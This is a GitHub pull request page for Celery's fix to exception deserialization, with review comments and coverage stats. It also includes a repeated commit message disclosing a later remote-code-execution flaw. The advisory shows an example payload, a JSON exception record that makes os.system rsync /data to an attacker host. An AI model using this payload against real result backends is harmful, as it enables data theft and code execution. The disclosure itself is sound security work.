Fix exception deserialization for unknown classes (Fixes #4835) #4836
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
georgepsarakis
suggested changes
Jun 21, 2018
celery/backends/base.py
Outdated
| cls = getattr(sys.modules[exc_module], exc_type) | ||
| except KeyError: | ||
| cls = create_exception_cls( | ||
| from_utf8(exc['exc_type']), __name__) |
There was a problem hiding this comment.
You can use the exc_type variable, defined on line 251.
There was a problem hiding this comment.
Instead of __name__ which will return celery.backends.base I think, you can pass celery.exceptions.__name__.
There was a problem hiding this comment.
1st change made.
For the second one, celery.exceptions is not imported, ok to use module name of an imported exception? e.g.
cls = create_exception_cls(
exc_type, TimeoutError.__module__)
There was a problem hiding this comment.
You can add the import statement if you don't mind, I can't find any issue with that. Your version would work too, using the module is more directly visible perhaps.
Codecov Report
@@ Coverage Diff @@
## master #4836 +/- ##
==========================================
- Coverage 82.76% 82.75% -0.01%
==========================================
Files 140 140
Lines 15940 15943 +3
Branches 1998 1998
==========================================
+ Hits 13193 13194 +1
- Misses 2548 2550 +2
Partials 199 199
Continue to review full report at Codecov.
|
|
@georgepsarakis I added your requested changes, squashed the commits back down. |
auvipy
approved these changes
Jun 23, 2018
thedrow
pushed a commit
that referenced
this pull request
Jul 18, 2018
dfresh613
pushed a commit
to dfresh613/celery
that referenced
this pull request
Jul 21, 2018
dfresh613
pushed a commit
to dfresh613/celery
that referenced
this pull request
Jul 21, 2018
thedrow
added a commit
that referenced
this pull request
Dec 26, 2021
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: `os.system("rsync /data attacker@192.168.56.100:~/data")` by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so: ```json { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } ``` According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the tasks's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
thedrow
added a commit
that referenced
this pull request
Dec 26, 2021
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: `os.system("rsync /data attacker@192.168.56.100:~/data")` by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so: ```json { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } ``` According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the tasks's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
santoshdasa12345
pushed a commit
to uktrade/celery
that referenced
this pull request
Jan 28, 2022
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in celery#4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: `os.system("rsync /data attacker@192.168.56.100:~/data")` by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so: ```json { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } ``` According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the tasks's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading. (cherry picked from commit 1f7ad7e)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Fixes #4835.